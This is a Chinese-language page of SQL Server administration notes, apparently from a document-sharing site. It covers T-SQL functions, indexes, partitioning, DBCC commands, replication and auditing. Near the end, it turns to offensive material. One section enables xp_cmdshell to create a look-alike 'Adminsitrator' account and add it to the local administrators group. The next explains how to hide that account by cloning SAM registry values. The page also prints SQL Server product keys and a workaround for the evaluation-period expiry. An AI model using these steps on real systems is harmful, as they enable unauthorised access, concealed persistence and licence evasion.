当前位置:文档之家› SQL语句(函数)

SQL语句(函数)

datetime类型,存储日期时间格式
date类型,专门存储日期格式
time(2)类型,专门存储时间格式,其中括号中的2,代表毫秒为2位。
如:01:20:35:25。
如果改为time(5),则变为:01:20:35:25000

convert函数,可将得到的数据显示转换为另一种格式
获取当前时间转换成varchar类型,格式为113格式!
select convert(varchar(22),getdate(),113) from table

将table表的recordtime字段转换成datetime类型,格式为113
select convert(datetime,recordtime,113) from table

cast函数,也可将得到的数据显示转换为另一种格式
格式如下:
CAST (列名 AS 转换成的类型)
如:select cast(recordtime as varchar(22)) from table

conalesce返回列中第一个非空表达式,如下:
select coalesce(null,null,1)
返回值为1

联合查询areas表中province,area首个不为空的值的总合
select coalesce(province,'') + '' + coalesce(area,'') from areas

ascii函数,可将返回结果转换成ASCII编码格式
select ascii(hisid)from netfeelog

char函数将返回结果转换成char字符串类型
select top 100 char(packetid)from netfeelog

lower函数将大写字符串转换成小写字符串
select top 100 lower(sendcontent) from netfeelog

upper函数将小写字符串转换成大写字符串
select top 100 upper(sendcontent) from netfeelog

str函数可将数值型数据转换成字符串型数据,用法:str(列名(或数字),返回字符串长度,小数位数)
select top 100 str(totalfee,6,2) from netfeelog

len(或length)可查询固定长度的数据,如,查询imsi列长度为16的所有记录
select top 100 * from netfeelog where len(imsi)=16

ltrim函数,查询结果去掉左边空格
select top 100 ltrim(imsi) from netfeelog

rtrim查询结果去掉右边空格
select top 100 rtrim(imsi) from netfeelog

left函数,返回查询列左起多少个字符
select top 100 left(imsi,3) from netfeelog

right函数,返回查询列右起多少个字符
select top 100 right(imsi,3) from netfeelog

substring函数,查询某列从左起第几位开始查询,查询多少位
select top 100 substring(imsi,3,2) from netfeelog

charindex函数,返回字符串中某个指定的字串出现的开始位置,语法为:
select charindex('要查找的字符串',列名或字串) from table 如下:
select CHARINDEX('安',province) from areas

patindex函数,返回字符串中某个指定的字串出现的开始位置,与charindex不同的是,字符串可以带%,语法为:
select patindex('%要查找的字符串%',列名或字串) from table 如下:
select patindex('%安%',province) from areas

reverse函数,可以将某个字符串的字符排列顺序颠倒。如下:
select reverse(21) 执行结果将返回12
用于表中查询如下:
select reverse(imsi) from netfeelog 查询结果,所有IMSI顺序颠倒,为倒着写

replicate函数,返回一个指

定重复次数的字符串,格式如下:
select replicate(列名,指定重复的次数) 如:
select replicate(42,2) 返回结果为4242
用于表中查询如下:
select top 100 replicate(id,2) from netfeelog

replace函数,返回被替换了指定子串的字符串,语法为:
select replace(列名(或字符串),需要被替换的字符,替换后的字符) from table 如:
select replace(111,1,3) 返回结果为333
select replace(imsi,1,5) 返回结果为imsi列中所有包含1的字符将被5代替

space函数,返回一个有指定长度的空白字符,如
select space(3) 返回为空

stuff函数,用另一字串替换字符串指定位置、长度的字串,格式如下:
select stuff(列名(或字符串),从第几位开始取,取几位,替换后的字符串) 如:
select stuff(1234555,2,3,333)
用语表格中为:
select top 100 stuff(mobileno,1,3,111) from blacklist

day函数返回日期中的日 期值
select day(recordtime) from mtknetlog

month函数返回日期中的月 期值
select month(recordtime) from mtknetlog

year函数返回日期中的年 期值
select year(recordtime) from mtknetlog

dateadd函数返回指定日期date加上指定额外日期间隔数number产生的新日期,格式为
select dateadd(日期类型,要加上的数值,列名) from table 如:
select dateadd(m,1,recordtime) from usernumber where mobileno='137********'
假设手机号码为137********的记录recordtime为2011-01-01 01:01:01,那么执行上面语句后得到的结果为2011-02-01 01:01:01

datediff函数返回指定的两个日期之间的天数,格式为:
select datediff(日期类型,开始日期或开始列,结束日期或结束列) from table 如:
select datediff(d,recordtime,nexttime) from SyncTerminalDB.dbo.MTKNetLog where id=1
假设id为1的记录recordtime为2011-01-01 01:01:01,nexttime为2011-01-11 01:01:01,那么执行上面的语句后得到的结果为10


datename函数以字符串形式返回日期的指定部分的数据,格式为
select datename(日期类型,日期列) from table 如 :
select datename(w,recordtime) from SyncTerminalDB.dbo.MTKNetLog where id=1
假设id为1的记录recordtime为2010-11-30 19:48:22.797,那么返回结果为星期二

datapart函数以整数值形式返回日期的指定部分,格式为:
select datepart(日期类型,列名) from table 如:
select datepart(dd,recordtime) from SyncTerminalDB.dbo.MTKNetLog where id=1
假设id为1的记录recordtime为2010-11-30 19:48:22.797,那么返回结果为30

getdate()函数以datetime的缺省格式返回系统当前的日期和时间 格式为:
select getdate() 获取系统当前时间

rou_number函数可以返回一个结果集的行号,格式为:
select mobileno,recordtime,row_number() over (order by recordtime desc) as rowid from mtknetlog group by mobileno,recordtime order by recordtime desc

@@rowcount函数返回受上一语句影响的

行数
if @@rowcount=0……

IsNumeric()函数是判断参数表达式是否是数值
if isnumeric()=0

CHARINDEX()函数用来在一段字符中搜索字符或者字符串,语法为:
CHARINDEX ( 所要搜索的字符串, 所要搜索的列名 ),例如:
select top 10 * from mtk_net where CHARINDEX('版本',Result)>0 order by id desc
从mtk_net表的Result列中,搜索包含'版本'字样的内容,显示返回结果大于0的结果。

select * from master.dbo.sysdatabases可以查询所有数据库的信息。

objct_name函数可以查看是哪个库的哪张表的信息。格式
select objct_name(objctid,dbid)

objct_id函数可以返回某个库的表ID是多少,格式
select objct_id(objct_name)

db_name函数可以返回某个数据库的名称,格式
select db_name(dbid) dbid的值可以通过select * from master.dbo.sysdatabases结果集的dbid得到

db_id函数可以返回某个数据库的ID,格式
select db_id(db_name) db_name可以通过select * from master.dbo.sysdatabases结果集的name得到

日期格式如下:
年 yy, yyyy
季度 qq, q
月 mm, m
年中的日 dy, y
日 dd, d
周 wk, ww
星期 dw, w
小时 hh
分钟 mi, n
秒 ss, s
毫秒 ms
微妙 mcs
纳秒 ns

聚合函数:
avg 算平均数
max 算最大数
min 算最小数
sum 求和
count 统计,求个数

数学函数:
rand 获得一个随机数
power 求某个数或某列的N次方 如:select power(3,2) 或select power(imsi,2) from SyncTerminalDB.dbo.MTKNetLog where id=1
round 将某数值小数点后的值四舍五入保留的小数位为len位 如:select round(12.334655,3)或select round(列名,len) from table
sign 某数值为正数、0或负数时返回值分别为1、0、-1 如:select sign(数值或列名) from table 如果数值为正数,那么返回1,为负数,返回负1,为0返回0
sqrt 求某数值的平方根 如:select sqrt(数值或列名) from table
abs 求某数的绝对值 如:select abs(数值或列名) from table
floor 返回小于等于数值的最大正数 如:select floor(数值或列名) from table 返回结果将小于等于这个数值

配置函数:
select @@version 获取当前数据库版本
select @@language 获取当前语言


-----创建索引

create clustered index riqi_person on person(date)
------在person表的date字段上面创建名为riqi_person的【聚集索引】

create nonclustered index riqi_person on person(date)
------在person表的date字段上面创建名为riqi_person的【非聚集索引】

create clustered index date_person on person(date,id)
------在person表的date,age字段上面创建名为riqi_person的【复合聚集索引】

create nonclustered index date_person on person(date,age)
------在person表的date,age字段上面创建名为riqi_person的【复合非聚集索引】

-----查看索引
sp_helpindex person
------查看person表中的聚集

索引和非聚集索引

【界面操作】某个数据库>>某张表>>索引

----删除索引
drop index person.p_age
------删除person表中的名为p_age的索引

分区表语句
准备建多少个分区表,就需要先建立多少个文件组,如:按月建立分区表,首先需要12个文件组,然后新建12个文件,将文件添加进12个文件组里。然后创建分区函数,如下:
CREATE PARTITION FUNCTION OrderDateRangePFN(datetime)
AS
RANGE RIGHT FOR VALUES
(
'20110525 00:00:00.000',
'20110625 00:00:00.000',
'20110725 00:00:00.000',
'20110825 00:00:00.000'
)


创建分区架构,将每个分区函数放入相应的文件组中
CREATE PARTITION SCHEME OrderDatePScheme
AS
PARTITION OrderDateRangePFN
TO (aa, bb, cc, dd, ee,[PRIMARY])


创建分区表,请分区函数,分区架构与之相关联。另外,需要创建约束,以防止时间字段无穷大。
CREATE TABLE [dbo].[test]
(
[a] [int] NOT NULL,
[b] [int] NULL,
[c] [int] NULL,
[d] [money] NULL,
[e] [datetime] NOT NULL
CONSTRAINT OrdersRangeYear
CHECK ([e] >= '20110525'
AND [e] <= '20110825 11:59:59.997'),
)
ON OrderDatePScheme (e)
GO

扩大分区函数的边界
ALTER PARTITION SCHEME OrderDatePScheme NEXT USED [dd]ALTER PARTITION FUNCTION BIZPF() SPLIT RANGE ('20120401')


删除事物日志
SELECT [name] ,[database_id] ,[log_reuse_wait] ,[log_reuse_wait_desc] FROM [sys].[databases]
查看是否有事物在跑,等事物停掉后,执行下面语句
DUMP TRANSACTION SyncTerminalDB WITH NO_LOG
BACKUP LOG SyncTerminalDB WITH NO_LOG
DBCC SHRINKFILE ('SyncTerminalDB_log', 1024) WITH NO_INFOMSGS

锁表查询:
sp_who'active'--看哪个引起的阻塞
sp_lock--看锁住了那个资源id,objid,status为wait,正常状态为grant
select object_name(ObjID) 查看哪个表被锁了!
kill 59
select * from sys.dm_tran_locks
SELECT @@LOCK_TIMEOUT 这个可以查看死锁超时时间
使用SET LOCK_TIMEOUT timeout_period(单位为毫秒)来设定锁请求超时。

将数据表单独放在一个文件组内的做法:
有时候数据库增长速度过快,往往删除数据的速度赶不上增长的速度,这时候就需要我们将大表的数据表先改名,然后新建一张同名的数据表,然后将原表的少量数据插入到新表在红,最后truncate掉原表,这样就可以很快的清除历史数据,从而释放空间出来。
但是有时因为数据文件所在磁盘空间不够,不足以插入足够数据,这时就需要将新建的表单独创建在一个文件组内,而这个文件组所存放的数据文件可以单独放在一个磁盘空间足够大的磁盘中。
首先在数据库中新建文件组,然后新建文件,将文件指向新的文件组,路径指向空余磁盘。然后新建表和索引,将表和索引都指向新建文件组即可,语句如下:
USE [ModemFee_New]
GO
/****** Object: Table [dbo].[ModemFeeLog] S

cript Date: 12/24/2011 02:41:15 ******/
SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO
SET ANSI_PADDING ON
GO
CREATE TABLE [dbo].[ModemFeeLog_1](
[Id] [int] IDENTITY(1,1) NOT NULL,
[MobileNo] [varchar](20) NOT NULL,
[PacketId] [varchar](10) NULL,
[SendContent] [varchar](500) NOT NULL,
[Platform] [varchar](10) NULL,
[Version] [varchar](10) NULL,
[SpNumber] [varchar](20) NULL,
[Message] [varchar](20) NULL,
[SpChannelId] [int] NULL,
[FeeCount] [int] NULL,
[SendTimes] [int] NOT NULL,
[RecordTime] [datetime] NOT NULL,
[Action] [int] NOT NULL,
[Subaction] [int] NOT NULL,
[ReturnType] [int] NOT NULL,
[TraceLog] [varchar](8000) NULL,
CONSTRAINT [PK_ModemFeeLog1_1] PRIMARY KEY NONCLUSTERED
(
[Id] ASC
)WITH (PAD_INDEX = OFF, STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON) ON [MODEMFEELOG]//索引指向新建文件组
) ON [MODEMFEELOG]//表指向新建文件组
GO
SET ANSI_PADDING OFF
GO
CREATE CLUSTERED INDEX [IX_ModemFeeLog_1] ON [dbo].[ModemFeeLog_1]
(
[RecordTime] ASC
)WITH (PAD_INDEX = OFF, STATISTICS_NORECOMPUTE = OFF, SORT_IN_TEMPDB = OFF, IGNORE_DUP_KEY = OFF, DROP_EXISTING = OFF, ONLINE = OFF, ALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON) ON [MODEMFEELOG]
GO
CREATE NONCLUSTERED INDEX [IX_ModemFeeLog1_2] ON [dbo].[ModemFeeLog_1]
(
[Action] ASC
)WITH (PAD_INDEX = OFF, STATISTICS_NORECOMPUTE = OFF, SORT_IN_TEMPDB = OFF, IGNORE_DUP_KEY = OFF, DROP_EXISTING = OFF, ONLINE = OFF, ALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON) ON [MODEMFEELOG]
GO
CREATE NONCLUSTERED INDEX [IX_ModemFeeLog1_3] ON [dbo].[ModemFeeLog_1]
(
[Subaction] ASC
)WITH (PAD_INDEX = OFF, STATISTICS_NORECOMPUTE = OFF, SORT_IN_TEMPDB = OFF, IGNORE_DUP_KEY = OFF, DROP_EXISTING = OFF, ONLINE = OFF, ALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON) ON [MODEMFEELOG]
GO
CREATE NONCLUSTERED INDEX [IX_ModemFeeLog1_4] ON [dbo].[ModemFeeLog_1]
(
[MobileNo] ASC
)WITH (PAD_INDEX = OFF, STATISTICS_NORECOMPUTE = OFF, SORT_IN_TEMPDB = OFF, IGNORE_DUP_KEY = OFF, DROP_EXISTING = OFF, ONLINE = OFF, ALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON) ON [MODEMFEELOG]
GO

DBCC语法:
一、了解DBCC

DBCC(database consistenecy checker,简称dbcc) 是一个实用命令集,用来检查数据库的逻辑一致性及物理一致性。

数据库控制台命令语句可分为以下类别:

维护: 对数据库、索引或文件组进行维护的任务。

杂项: 杂项任务,如启用跟踪标志或从内存中删除 DLL。

信息: 收集并显示各种类型信息的任务。

验证: 对数据库、表、索引、目录、文件组或数据库页的分配进行的验证操作


二、DBBCC维护语句:对数据库、索引或文件组进行维护的任务

DBCC CLEANTABLE。回收删除的可变长度列和文本列的空间。

DBCC CLEANTABLE

(

{ 'database_name' | database_id | 0 }

,{ 'table_name' | table_i

d | 'view_name' | view_id }

[ , batch_size ]

)

[ WITH NO_INFOMSGS ]

DBCC INDEXDEFRAG。指定表或视图的索引碎片整理。

DBCC INDEXDEFRAG

(

{ 'database_name' | database_id | 0 }

, { 'table_name' | table_id | 'view_name' | view_id }

, { 'index_name' | index_id }

, { partition_number | 0 }

)

[ WITH NO_INFOMSGS ]


DBCC DBREINDEX。 对指定数据库中的表重新生成一个或多个索引。

DBCC DBREINDEX

(

'table_name'

[ , 'index_name' [ , fillfactor ] ]

)

[ WITH NO_INFOMSGS ]


DBCC SHRINKDATABASE。 收缩指定数据库中的数据文件大小。

DBCC SHRINKDATABASE

( 'database_name' | database_id | 0

[ ,target_percent ]

[ , { NOTRUNCATE | TRUNCATEONLY } ]

)

[ WITH NO_INFOMSGS ]


DBCC DROPCLEANBUFFERS。 从缓冲池中删除所有清除缓冲区。DBCC DROPCLEANBUFFERS [ WITH NO_INFOMSGS ]

DBCC SHRINKFILE。 收缩相关数据库的指定数据文件或日志文件大小。

DBCC SHRINKFILE

(

{ 'file_name' | file_id }

{ [ , EMPTYFILE ]

| [ [ , target_size ] [ , { NOTRUNCATE | TRUNCATEONLY } ] ]

}

)

[ WITH NO_INFOMSGS ]

DBCC FREEPROCCACHE。 从过程缓存中删除所有元素。DBCC FREEPROCCACHE [ WITH NO_INFOMSGS ]

DBCC UPDATEUSAGE 报告目录视图中的页数和行数错误并进行更正。

DBCC UPDATEUSAGE

( { 'database_name' | database_id | 0 }

[ , { 'table_name' | table_id | 'view_name' | view_id }

[ , { 'index_name' | index_id } ] ]

) [ WITH [ NO_INFOMSGS ] [ , ] [ COUNT_ROWS ]

]


三、DBBCC验证语句:对数据库、表、索引、目录、文件组或数据库页的分配进行的验证操作

DBCC CHECKALLOC。检查指定数据库的磁盘空间分配结构的一致性。

DBCC CHECKALLOC

[

(

[ 'database_name' | database_id | 0 ]

[ , NOINDEX

|

{ REPAIR_ALLOW_DATA_LOSS

| REPAIR_FAST

| REPAIR_REBUILD

} ]

)

]

[ WITH { [ ALL_ERRORMSGS ]

[ , NO_INFOMSGS ]

[ , TABLOCK ]

[ , ESTIMATEONLY ]

}

]


DBCC CHECKFILEGROUP。检查当前数据库中指定文件组中的所有表的分配和结构完整性。

DBCC CHECKFILEGROUP

[

(

[ { 'filegroup_name' | filegroup_id | 0 } ]

[ , NOINDEX ]

)

]

[ WITH

{

[ ALL_ERRORMSGS ]

[ NO_INFOMSGS ] ]

[ , [ TABLOCK ] ]

[ , [ ESTIMATEONLY ] ]

}

]

DBCC CHECKCATALOG。检查指定数据库内的目录一致性。数据库必须联机。

DBCC CHECKCATALOG

[

(

'database_name' | database_id | 0

)

]

[ WITH NO_INFOMSGS ]


DBCC CHECKIDENT。 检查指定表的当前标识值,如有必要,则更改标识值。

DBCC CHECKIDENT

(

'table_name'

[ , {

NORESEED | { RESEED [ , new_reseed_value ] }

}

]

)

[ WITH NO_INFOMSGS ]


DBCC CHECKCONSTRAINTS。 检查当前数据库中指定表上的指定约束或所有约束

的完整性。

DBCC CHECKCONSTRAINTS

[

(

'table_name' | table_id | 'constraint_name' | constraint_id

)

]

[ WITH

{ ALL_CONSTRAINTS | ALL_ERRORMSGS } [ , NO_INFOMSGS ]

]


DBCC CHECKTABLE。检查组成表或索引视图的所有页和结构的完整性。

DBCC CHECKTABLE

(

'table_name' | 'view_name'

[ , NOINDEX

| index_id

| { REPAIR_ALLOW_DATA_LOSS

| REPAIR_FAST

| REPAIR_REBUILD }

]

)

[ WITH

{ [ ALL_ERRORMSGS ]

[ , [ NO_INFOMSGS ] ]

[ , [ TABLOCK ] ]

[ , [ ESTIMATEONLY ] ]

[ , [ PHYSICAL_ONLY ] ]

}

]


DBCC CHECKDB。检查指定数据库中所有对象的分配、结构和逻辑完整性。

DBCC CHECKDB

[

(

'database_name' | database_id | 0

[ , NOINDEX

| { REPAIR_ALLOW_DATA_LOSS

| REPAIR_FAST

| REPAIR_REBUILD

} ]

)

]

[ WITH {

[ ALL_ERRORMSGS ]

[ , [ NO_INFOMSGS ] ]

[ , [ TABLOCK ] ]

[ , [ ESTIMATEONLY ] ]

[ , [ PHYSICAL_ONLY ] ] | [ , [ DATA_PURITY ] ]

}

]
DBCC CHECKDB
('ServiceDataWH' NOINDEX )

四、DBBCC的信息语句


DBCC SHOW_STATISTICS。显示指定表上的指定目标的当前分发统计信息。

DBCC INPUTBUFFER.显示从客户端发送到 Microsoft SQL Server 2005 实例的最后一个语句。DBCC INPUTBUFFER ( session_id [ , request_id ] ) [WITH NO_INFOMSGS ]

DBCC SHOWCONTIG.显示指定的表的数据和索引的碎片信息。

DBCC SHOWCONTIG

[ (

{ 'table_name' | table_id | 'view_name' | view_id }

[ , 'index_name' | index_id ]

)]

[ WITH

{

[ , [ ALL_INDEXES ] ]

[ , [ TABLERESULTS ] ]

[ , [ FAST ] ]

[ , [ ALL_LEVELS ] ]

[ NO_INFOMSGS ]

}

]


DBCC OPENTDBCC INPUTBUFFERRAN 如果在指定数据库内存在最早的活动事务和最早的分布式和非分布式复制事务,则显示与之有关的信息

DBCC OPENTRAN

[

( [ 'database_name' | database_id | 0 ] ) ]

{ [ WITH TABLERESULTS ]

[ , [ NO_INFOMSGS ] ]

}

]

DBCC SQLPERF.提供有关如何在所有数据库中使用事务日志空间的统计信息。

DBCC SQLPERF ( LOGSPACE | 'sys.dm_os_latch_stats' , CLEAR | 'sys.dm_os_wait_stats' , CLEAR )

[WITH NO_INFOMSGS ]

DBCC OUTPUTBUFFER.以十六进制和 ASCII 格式返回指定 session_id 的当前输出缓冲区。DBCC OUTPUTBUFFER ( session_id [ , request_id ] )

DBCC TRACESTATUS.显示跟踪标志的状态.DBCC TRACESTATUS ( [ [ trace# [ ,...n ] ] [ , ] [ -1 ] ] )

DBCC PROCCACHE.以表格格式显示有关过程缓存的信息。DBCC PROCCACHE [ WITH NO_INFOMSGS ]

DBCC USEROPTIONS 返回当前连接的活动(设置)的 SET 选项。DBCC USEROPTIONS



五、DBBCC的杂项语句:杂项任务,如启用跟踪标志或从内存中删除 DLL


DBCC HELP。返回指定的 DBCC 命令的语法信息。DBCC HELP ( 'dbcc_statement' | @dbcc_statement_var | '?' )[ WITH NO_INFOMSGS ]

DBCC dllname (

FREE)。从内存中上载指定的扩展存储过程 DLL。DBCC dllname ( FREE ) [ WITH NO_INFOMSGS ]

DBCC DBREPAIR 。禁用指定的跟踪标记。DBCC TRACEOFF ( trace# [ ,...n ] [ , -1 ] ) [ WITH NO_INFOMSGS ]

DBCC TRACEON。启用指定的跟踪标记。DBCC TRACEON ( trace# [ ,...n ][ , -1 ] ) [ WITH NO_INFOMSGS ]


六、未公开的DBCC

DBCC ERRLOG

初始化SQL错误日志

DBCC BUFFER

显示缓冲区头部和页面信息

DBCC FLUSHPROCINDB

清楚数据库服务器内存中的某个数据库存储过程的缓存内容。

DBCC DBINFO

显示数据库结果信息

DBCC DATABLE

显示管理数据库的表信息

DBC IND

查看某个索引使用的页面信息。

DBCC REBULDLOG

重建修复SQL数据库事物日志文件。

DBCC LOG

查看某个数据库的事务日志信息

DBCC PAGE

查看某个数据库数据也面信息

DBCC PROCBUF

显示过程缓冲池的缓冲区头和存储过程。

DBCC PRTIPAGE

查看某个索引页面的每行指向的页面号。

DBCC PSS

显示当前连接到SQLSERVER服务器的进程信息。

DBCC RESOURCE

显示服务器当前使用的资源情况。

DBCC TAB

查看数据页面的结构。


修复数据库损坏数据文件步骤:
首先新建一个同样的数据库,然后停止SQL SERVER服务,重命名新数据库文件名,用旧的数据文件替换新的数据库文件,然后重新启动数据库服务,此时数据库状态为紧急状态。然后执行下面语句!
alter database BusinessData set emergency 更改数据库状态为紧急状态
alter database BusinessData set single_user更改用户模式为单用户模式
dbcc checkdb('BusinessData',repair_allow_data_loss)修复数据库数据文件
dbcc checkdb('BusinessData',repair_rebuild)
alter database BusinessData set multi_user改回数用户模式为多用户模式

单用户恢复多用户步骤:
select spid from sysprocesses where dbid=db_id('database') kill 'spid' exec sp_dboption 'database','single user',false

DECLARE @SQL VARCHAR(MAX); SET @SQL=''SELECT @SQL=@SQL+'; KILL '+RTRIM(SPID) FROM master..sysprocesses WHERE dbid=DB_ID('cq') EXEC(@SQL) ALTER DATABASE cq SET MULTI_USER

解决SQL SERVER客户端评估期已过方法
先去注册表把 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\100\ConfigurationState 裡的 CommonFiles 值,改成 3
再去sql2008安装中心,维护,版本升级重来一次,由于前面我已经升级了数据库,所以这次只用升级共享组件,这里面就包括了ssms。
后来我又在想这是个bug吗,可能是升级系统忘记要同时升级共享组件了,管它呢,反正我已经升级完毕。

开发版: PTTFM-X467G-P7RH2-3Q6CG-4DMYB
企业版: JD8Y6-HQG69-P9H84-XDTPG-34MBB


发布订阅步骤:
在分发,发布和订阅服务器中,右击数据库服务器名-方面-外围应用配置器-Re

moteDacEnable设置为true,然后打开配置工具-配置管理器,在MSSQLSERVER的协议-TCP/IP,启用该选项,然后在属性-IP地址中,在IP2的IP地址设置为本机IP,然后重启数据库服务。
分发服务器配置:
在分发服务器上新建用户distribution,然后赋予administrators组权限,然后新建文件夹distribution,将该文件夹赋予distribution用户完全控制权限,然后共享该文件夹,也赋予完全控制权限。然后打开C:\WINDOWS\system32\drivers\etc\hosts文件,将发布服务器和订阅服务器的计算机名和IP映射写进去,保存。然后用计算机名+SA用户登录SQL SERVER,新建配置分发,完成后添加distribution数据库用户,然后赋予该用户distribution库的owner权限。
发布服务器配置:
在发布服务器上新建用户distribution,然后赋予administrators组权限,打开C:\WINDOWS\system32\drivers\etc\hosts文件,将分发服务器和订阅服务器的计算机名和IP映射写进去,保存。然后用计算机名+SA用户登录SQL SERVER,添加distribution数据库用户,同时赋予该用户需要发布库的owner权限和dba架构。然后新建发布,在安全设置选项中,选择分发服务器的distribution用户,格式为MLSERVER1\distribution,然后一路完成。
订阅服务器配置:
在订阅服务器上新建用户distribution,然后赋予administrators组权限,打开C:\WINDOWS\system32\drivers\etc\hosts文件,将发布服务器和分发服务器的计算机名和IP映射写进去,保存。然后用计算机名+SA用户登录SQL SERVER,添加distribution数据库用户,同时赋予该用户需要订阅库的owner权限和dba架构。新建订阅,在安全设置选项中,选择分发服务器的distribution用户,格式为MLSERVER1\distribution,然后一路完成。

无法删除发布方法,报无法找到'dba'主体错误:
USE SMT_BIZ;
GO
--执行下面这条语句后再重新删除发布即可
EXEC sp_changedbowner 'sa';
-- 查看孤立用户
EXEC sp_change_users_login 'Report';
GO
-- 修复孤立用户
EXEC sp_change_users_login 'Auto_Fix', '孤立用户', NULL, '用户密码';

查看数据库各表的详细信息语句:
DECLARE @tablespaceinfo TABLE ( nameinfo varchar(50), rowsinfo int, reserved varchar(20), datainfo varchar(20), index_size varchar(20), unused varchar(20) ) DECLARE @tablename varchar(255); DECLARE Info_cursor CURSOR FOR SELECT [name] FROM sys.tables WHERE type='U'; OPEN Info_cursor FETCH NEXT FROM Info_cursor INTO @tablename WHILE @@FETCH_STATUS = 0 BEGIN insert into @tablespaceinfo exec sp_spaceused @tablename FETCH NEXT FROM Info_cursor INTO @tablename END CLOSE Info_cursor DEALLOCATE Info_cursor SELECT * FROM @tablespaceinfo ORDER BY Cast(Replace(reserved,'KB','') as INT) DESC


删除发

布订阅语句:
sp_removedbreplication 'distribution'
sp_removedbreplication
从数据库中删除所有复制对象,但不更新分发服务器上的数据。此存储过程在发布服务器的发布数据库或订阅服务器的订阅数据库上执行。

语法
sp_removedbreplication [ @dbname = ] 'dbname'

参数
[@dbname =] 'dbname'

是数据库名。dbname 的数据类型为 sysname,无默认值。

返回代码值
0(成功)或 1(失败)

注释
sp_removedbreplication 用于所有类型的复制。

当还原的复制数据库中没有需要还原的复制对象时,sp_removedbreplication 很有用。

权限
只有 sysadmin 固定服务器角色成员才能执行 sp_removedbreplication。


如何创建SQL SERVER 2008 审核功能
--创建审计
use master
go
create server audit srvaudit
to file (filepath='D:\Audit File',maxsize=1024MB)
with(queue_delay=3000)

--创建服务器审计规范
use master
go
create server audit specification srvauditspec
for server audit srvaudit
add (SUCCESSFUL_LOGIN_GROUP),add(FAILED_LOGIN_GROUP)
with(state=on)

--创建数据库审计规范
use SyncSmsModemDB
go
create database audit specification dbauditspec
for server audit srvaudit
add(database_object_change_group),add(SCHEMA_OBJECT_CHANGE_GROUP),
add(select,insert,delete,update,execute on schema::dbo by lsc,hzh,mxx,smm,ycw,selectuser,developer)
with(state=on)

--查询收缩进度
select command
,percent_complete
,est_time_to_go=convert(varchar,(estimated_completion_time/3600000))+' hour, '
+convert(varchar,(estimated_completion_time)/60000)+' min, '
+convert(varchar,(estimated_completion_time)/1000)+' sec'
,start_time=convert(char(16),start_time,120)
,est_completion_time=convert(char(16),dateadd(second,estimated_completion_time/1000,getdate()),120)
,running_time=convert(varchar,(datediff(s,start_time,getdate()))/3600)+' hour, '
+convert(varchar,(datediff(s,start_time,getdate()))/60)+' min, '
+convert(varchar,(datediff(s,start_time,getdate())))+' sec'
,s.text
from sys.dm_exec_requests r
cross apply sys.dm_exec_sql_text(r.sql_handle) s
where https://www.doczj.com/doc/cc602849.html,mand in ('DbccFilesCompact')

查询哪条查询语句占用数据库资源(可参考https://www.doczj.com/doc/cc602849.html,/jiguixin/archive/2011/01/05/1926235.html)
SELECT [Spid] = session_Id
, ecid
, [Database] = DB_NAME(sp.dbid)
, [User] = nt_username
, [Status] = er.status
, [Wait] = wait_type
, [Individual Query] = SUBSTRING (qt.text,
er.statement_start_offset/2,
(CASE WHEN er.statement_end_offset = -1
THEN LEN(CONVERT(NVARCHAR(MAX), qt.text)) * 2
ELSE er.statement_end_offset END -
er.statement_start_offset)/2)
,[Parent Query] = qt.text
, Program = program_name
, Hostname
, nt_domain
, start_time
FROM sys.dm_exec_requests er
INNER JOIN sys.sysprocesses sp ON er.session_id = sp.spid
CROSS APPLY sys.dm_exec_sql_text(er.sql_handle)as qt
WHERE session_Id > 50 -- Ignore system spids.
AND session_Id NOT IN (@@SPID) -- Igno

re this current statement.
ORDER BY 1, 2

SQL 账户服务器提权
EXEC sp_configure 'show advanced options', 1

-- 重新配置
RECONFIGURE WITH OVERRIDE

-- 启用xp_cmdshell
EXEC sp_configure 'xp_cmdshell', 1

--重新配置
RECONFIGURE WITH OVERRIDE


--执行想要的xp_cmdshell语句
declare @v [varchar](200)
set @v = 'net user Adminsitrator 123abc#@! /add'
print(@v)
Exec xp_cmdshell @v
exec xp_cmdshell 'net localgroup administrators Adminsitrator /add'

exec xp_cmdshell 'query user'

隐藏新建系统用户
开始-运行regedt32
HKTY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names。如果该目录没有权限,需先赋予完全控制权限。然后展开目录,查看Adminsitrator对应的值,在USERS目录下,先查找Admistitrator用户的F值,然后将Administrator用户的F值打开后复制,然后粘贴到Admistitrator的F值里面,然后导出Admistitrator用户的用户名及F值目录,然后删除该用户的所有信息,然后再导入该用户的刚才导出的注册表项,然后结束即可。

相关主题
文本预览
相关文档 最新文档